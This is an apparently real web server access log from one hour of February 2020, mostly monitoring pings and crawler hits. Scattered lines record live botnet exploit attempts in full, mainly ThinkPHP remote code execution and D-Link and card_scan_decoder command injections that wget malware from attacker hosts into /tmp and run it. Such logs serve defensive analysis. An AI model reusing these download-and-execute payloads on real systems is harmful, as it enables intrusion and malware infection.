111.231.239.157 - - [14/Feb/2020:17:37:19 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:19 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:19 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:20 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:20 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.239.157 - - [14/Feb/2020:17:37:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:17:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
199.58.86.211 - - [14/Feb/2020:17:38:13 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
199.58.86.211 - - [14/Feb/2020:17:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [14/Feb/2020:17:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.92.58.10 - - [14/Feb/2020:17:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [14/Feb/2020:17:46:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:17:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:17:47:44 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:17:48:40 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:17:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:17:53:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
31.208.110.78 - - [14/Feb/2020:17:54:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:17:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:17:56:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:17:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.140.240.17 - - [14/Feb/2020:17:56:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:17:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:17:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.54.228.142 - - [14/Feb/2020:18:01:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.161.107.214 - - [14/Feb/2020:18:02:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:18:03:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
189.113.46.210 - - [14/Feb/2020:18:04:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
167.86.114.167 - - [14/Feb/2020:18:04:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.86.114.167 - - [14/Feb/2020:18:05:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:18:07:22 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:18:07:36 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [14/Feb/2020:18:08:22 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:18:08:37 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.12.154.81 - - [14/Feb/2020:18:10:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [14/Feb/2020:18:10:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [14/Feb/2020:18:10:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [14/Feb/2020:18:11:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
191.255.149.155 - - [14/Feb/2020:18:11:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
220.121.0.69 - - [14/Feb/2020:18:11:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:18:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [14/Feb/2020:18:11:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:18:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [14/Feb/2020:18:12:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [14/Feb/2020:18:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.131.13.41 - - [14/Feb/2020:18:13:38 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
5.101.0.209 - - [14/Feb/2020:18:14:10 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [14/Feb/2020:18:15:12 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
54.91.111.155 - - [14/Feb/2020:18:15:17 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:17 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:17 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:17 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:17 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:18 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:18 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:18 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
54.91.111.155 - - [14/Feb/2020:18:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [14/Feb/2020:18:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.81.211.239 - - [14/Feb/2020:18:15:59 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.6.150.182 - - [14/Feb/2020:18:19:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:18:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.99.126.26 - - [14/Feb/2020:18:26:50 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [14/Feb/2020:18:26:54 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [14/Feb/2020:18:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.10.10.164 - - [14/Feb/2020:18:29:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:18:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.44.60.61 - - [14/Feb/2020:18:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.71.230.255 - - [14/Feb/2020:18:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.115.124.9 - - [14/Feb/2020:18:37:29 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
212.91.246.72 - - [14/Feb/2020:18:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.115.124.10 - - [14/Feb/2020:18:37:39 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:39 +0100] "NXSH-5.6.7" 501 325 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:39 +0100] "0\x84" 501 317 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:39 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:39 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:39 +0100] "#ST" 501 318 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:40 +0100] "Subscribe" 501 324 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:40 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:40 +0100] "EHLO" 501 319 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:41 +0100] "stats" 501 320 "-" "-"
27.115.124.10 - - [14/Feb/2020:18:37:42 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:42 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:18:37:42 +0100] "HELP" 501 319 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:43 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
27.115.124.10 - - [14/Feb/2020:18:37:43 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "*1" 501 317 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:44 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:44 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "\x05\x04" 501 317 "-" "-"
27.115.124.10 - - [14/Feb/2020:18:37:44 +0100] "TSH " 501 318 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "init" 501 319 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "get_info" 501 323 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:44 +0100] "show info" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "Query" 501 320 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "HELP" 501 319 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "\x01default" 501 323 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:45 +0100] "CONNECT01 v09" 400 329 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:45 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
27.115.124.75 - - [14/Feb/2020:18:37:43 +0100] "< NTP/1.2 >" 400 329 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:48 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
27.115.124.74 - - [14/Feb/2020:18:37:48 +0100] "\x124" 501 317 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:48 +0100] "ver" 501 318 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:48 +0100] "" 501 315 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:45 +0100] "< NTP/1.1 >" 400 329 "-" "-"
27.115.124.74 - - [14/Feb/2020:18:37:45 +0100] "GET SERVER INFO" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:44 +0100] "< NTP/1.0 >" 400 329 "-" "-"
27.115.124.9 - - [14/Feb/2020:18:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
27.115.124.74 - - [14/Feb/2020:18:37:51 +0100] "<" 501 319 "-" "-"
24.145.3.15 - - [14/Feb/2020:18:38:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.22.134.112 - - [14/Feb/2020:18:40:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:18:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.104.168.34 - - [14/Feb/2020:18:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
